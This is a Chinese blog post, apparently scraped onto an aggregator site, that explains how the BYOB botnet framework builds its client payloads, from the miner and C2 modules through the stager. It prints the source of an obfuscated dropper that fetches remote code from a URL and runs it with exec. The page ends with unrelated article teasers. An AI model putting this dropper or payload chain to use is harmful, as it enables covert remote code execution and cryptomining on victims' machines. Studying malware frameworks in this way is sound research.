【byob】 payload 生成過程

来源:https://www.cnblogs.com/nones/archive/2023/01/29/17073865.html
-Advertisement-
Play Games

提示 個人博客首頁 免責聲明:僅供學習交流使用!開源框架可能存在的風險和相關後果將完全由用戶自行承擔,本人不承擔任何法律責任。 1. byob web 介紹 1.1 平臺主要組件 1.1.1 fask 1.1.2 SQLAlchemy 1.1.3 threading 1.1.4 socket 1.1 ...


提示

  • 個人博客首頁
  • 免責聲明:僅供學習交流使用!開源框架可能存在的風險和相關後果將完全由用戶自行承擔,本人不承擔任何法律責任。

1. byob web 介紹

1.1 平臺主要組件

1.1.1 fask
1.1.2 SQLAlchemy
1.1.3 threading
1.1.4 socket
1.1.5 ***

1.2 攻擊過程python 文件為例

1.2.1 生成過程 (route("/api/payload/generate")

1.2.1.1 client.main(**kwargs)
  1. models: 構建 client payload 的主要模塊
modules = ['modules/util.py','core/security.py','core/payloads.py', 'core/miner.py']
# util.py 許多模塊使用的雜項實用函數 
# security.py 提供加密,膜拜,後續再慢慢分析 之前一直用的 pycryptomode
# payloads.py 提供 payloads 的socket 連接
# miner.py 礦工腳本

  1. imports: 構建 client payload 的主要模塊中的導入非本地庫
for x in ['core'] + [os.path.splitext(i)[0] for i in os.listdir('core')] + ['core.%s' % s for s in [os.path.splitext(i)[0] for i in os.listdir('core')]]:
    if x in line:
        break
else:
    imports.add(line.strip())
# imports 返回獲取 modules 中的 import packets(排除 byob 本地文件包)
  1. hidden:獲取 moduls imports 中主要的 packets
for line in kwargs['imports']:
    if len(line.split()) > 1:
        for i in str().join(line.split()[1:]).split(';')[0].split(','):
            i = line.split()[1] if i == '*' else i
            hidden.add(i)
# hidden 排除 imports 中的 'import' 字元
  1. payloads: 主要的功能函數

loader  = open('core/loader.py','r').read()#, generators.loader(host=C2_HOST, port=int(C2_PORT)+2, packages=list(kwargs['hidden']))))
# 載入 core/loader.py 

test_imports = '\n'.join(['import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO','_winreg','pycryptonight','pyrx','ctypes']])
# 導入 packets

potential_imports = '''
try:
    import pycryptonight
    import pyrx
except ImportError: pass
'''
# 可能導入的 packets

modules = '\n'.join(([open(module,'r').read().partition('# main')[2] for module in kwargs['modules']] + [generators.main('Payload', **{"host": C2_HOST, "port": C2_PORT, "pastebin": options.pastebin if options.pastebin else str(), "gui": "1" if options.gui else str(), "owner": options.owner}) + '_payload.run()']))
# 讀取 modules 數組內的文件名稱,並截取 # main 後的數據
# 加上 generators.main() 構造的 main template
# 最後拼接 _payload.run() 

payload = '\n'.join((loader, test_imports, potential_imports, modules))
# 將上述數據拼接成 payload

  1. stagers: 獲取獨特的payload
if options.encrypt:
   stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key'])
else:
   stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'])
# 獲取 core/stagers.py 
# 並拼接  _run(url) 
  1. dropper: 獲取 stagers
 dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
    from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2)))))
# 生成 dropper

參考資料


交個朋友

  • github learnselfs

免責聲明:

本站提供的資源,都來自網路,版權爭議與本站無關,所有內容及軟體的文章僅限用於學習和研究目的。不得將上述內容用於商業或者非法用途,否則,一切後果請用戶自負,我們不保證內容的長久可用性,通過使用本站內容隨之而來的風險與本站無關,您必須在下載後的24個小時之內,從您的電腦/手機中徹底刪除上述內容。如果您喜歡該程式,請支持正版軟體,購買註冊,得到更好的正版服務。侵刪請致信


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 這裡給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 需求描述 目前大多數PC端應用都有配套的移動端APP,如微信,淘寶等,通過使用手機APP上的掃一掃功能去掃頁面二維碼圖片進行登錄,使得用戶登錄操作更方便,安全,快捷。 思路解析 PC 掃碼原理? 掃碼登錄功能涉及到網頁端、伺服器和手機端, ...
  • 一、文件上傳 1、普通文件上傳 JavaScript 可以使用表單提交來實現文件上傳。首先,在 HTML 中創建一個文件輸入框: <input type="file" id="fileInput"> 然後,在 JavaScript 中獲取文件輸入框的引用,併在其上設置事件監聽器,如下所示: var ...
  • 最近在開發幾個網站,為了優化一下前端代碼,就複習一下gulpjs,之前工作gulp用的版本比較老,但是今天看了新的版本,新的語法出了一下,但是為了時間,我決定使用之前gulp3的舊版本,後面發現自己環境的node的版本是最新的,所以不得讓我來瞭解一下gulp的新版本,裡面用到的最多就是commonj ...
  • 一、條件判斷 JavaScript 中有三種方法可以用來進行條件判斷: 1、使用 if-else 語句。這種方法用於在特定條件為 true 時執行一段代碼,否則執行另一段代碼。例如: let a = 5; if (a > 10) { console.log("a is greater than 10 ...
  • Angularjs的工程化 AMD規範和CMD規範 為什麼需要模塊化管理工具 在編寫項目時可能需要載入很多js文件,若b.js依賴a.js,且a.js比b.js大很多,那麼瀏覽器會讓b.js等待a.js載入完畢後再去執行b.js里的內容;而即使d.js並不依賴a.js,b.js,c.js,也會等待這 ...
  • 前端面試題學習-HTML-個人總結 這是看別人總結的基礎上再度總結的,總結的鏈接如下 鏈接 1. DOCTYPE 的作用? 告知瀏覽器解析器用何標準解析文檔,若不指定則按相容模式進行解析(向後相容模擬老瀏覽器)。 IE5.5 引入的概念。 HTML5 之後無需指定,因為在之前的都是基於 SGML 的 ...
  • 實現Spring底層機制-03 7.實現任務階段5 7.1分析 階段5目標:bean後置處理器的實現 7.2代碼實現 新增: 1.創建 InitializingBean 介面,實現該介面的 Bean 需要實現 Bean 的初始化方法 bean後置處理器的兩個方法,調用時機分別在 Bean 初始化方法 ...
  • 一、QPython安裝配置 1.1. QPython介紹 QPython是一個可以在安卓設備運行python的腳本引擎。版本有QPython 3L和QPython 3C,3L為官方版本,可以在應用市場搜索下載。3C版本為"乘著船"大佬的修改版本。由於3L版本有許多許可權限制及很多包不能安裝,文章中使用 ...
一周排行
    -Advertisement-
    Play Games
  • 概述:在C#中,++i和i++都是自增運算符,其中++i先增加值再返回,而i++先返回值再增加。應用場景根據需求選擇,首碼適合先增後用,尾碼適合先用後增。詳細示例提供清晰的代碼演示這兩者的操作時機和實際應用。 在C#中,++i 和 i++ 都是自增運算符,但它們在操作上有細微的差異,主要體現在操作的 ...
  • 上次發佈了:Taurus.MVC 性能壓力測試(ap 壓測 和 linux 下wrk 壓測):.NET Core 版本,今天計劃準備壓測一下 .NET 版本,來測試並記錄一下 Taurus.MVC 框架在 .NET 版本的性能,以便後續持續優化改進。 為了方便對比,本文章的電腦環境和測試思路,儘量和... ...
  • .NET WebAPI作為一種構建RESTful服務的強大工具,為開發者提供了便捷的方式來定義、處理HTTP請求並返迴響應。在設計API介面時,正確地接收和解析客戶端發送的數據至關重要。.NET WebAPI提供了一系列特性,如[FromRoute]、[FromQuery]和[FromBody],用 ...
  • 原因:我之所以想做這個項目,是因為在之前查找關於C#/WPF相關資料時,我發現講解圖像濾鏡的資源非常稀缺。此外,我註意到許多現有的開源庫主要基於CPU進行圖像渲染。這種方式在處理大量圖像時,會導致CPU的渲染負擔過重。因此,我將在下文中介紹如何通過GPU渲染來有效實現圖像的各種濾鏡效果。 生成的效果 ...
  • 引言 上一章我們介紹了在xUnit單元測試中用xUnit.DependencyInject來使用依賴註入,上一章我們的Sample.Repository倉儲層有一個批量註入的介面沒有做單元測試,今天用這個示例來演示一下如何用Bogus創建模擬數據 ,和 EFCore 的種子數據生成 Bogus 的優 ...
  • 一、前言 在自己的項目中,涉及到實時心率曲線的繪製,項目上的曲線繪製,一般很難找到能直接用的第三方庫,而且有些還是定製化的功能,所以還是自己繪製比較方便。很多人一聽到自己畫就害怕,感覺很難,今天就分享一個完整的實時心率數據繪製心率曲線圖的例子;之前的博客也分享給DrawingVisual繪製曲線的方 ...
  • 如果你在自定義的 Main 方法中直接使用 App 類並啟動應用程式,但發現 App.xaml 中定義的資源沒有被正確載入,那麼問題可能在於如何正確配置 App.xaml 與你的 App 類的交互。 確保 App.xaml 文件中的 x:Class 屬性正確指向你的 App 類。這樣,當你創建 Ap ...
  • 一:背景 1. 講故事 上個月有個朋友在微信上找到我,說他們的軟體在客戶那邊隔幾天就要崩潰一次,一直都沒有找到原因,讓我幫忙看下怎麼回事,確實工控類的軟體環境複雜難搞,朋友手上有一個崩潰的dump,剛好丟給我來分析一下。 二:WinDbg分析 1. 程式為什麼會崩潰 windbg 有一個厲害之處在於 ...
  • 前言 .NET生態中有許多依賴註入容器。在大多數情況下,微軟提供的內置容器在易用性和性能方面都非常優秀。外加ASP.NET Core預設使用內置容器,使用很方便。 但是筆者在使用中一直有一個頭疼的問題:服務工廠無法提供請求的服務類型相關的信息。這在一般情況下並沒有影響,但是內置容器支持註冊開放泛型服 ...
  • 一、前言 在項目開發過程中,DataGrid是經常使用到的一個數據展示控制項,而通常表格的最後一列是作為操作列存在,比如會有編輯、刪除等功能按鈕。但WPF的原始DataGrid中,預設只支持固定左側列,這跟大家習慣性操作列放最後不符,今天就來介紹一種簡單的方式實現固定右側列。(這裡的實現方式參考的大佬 ...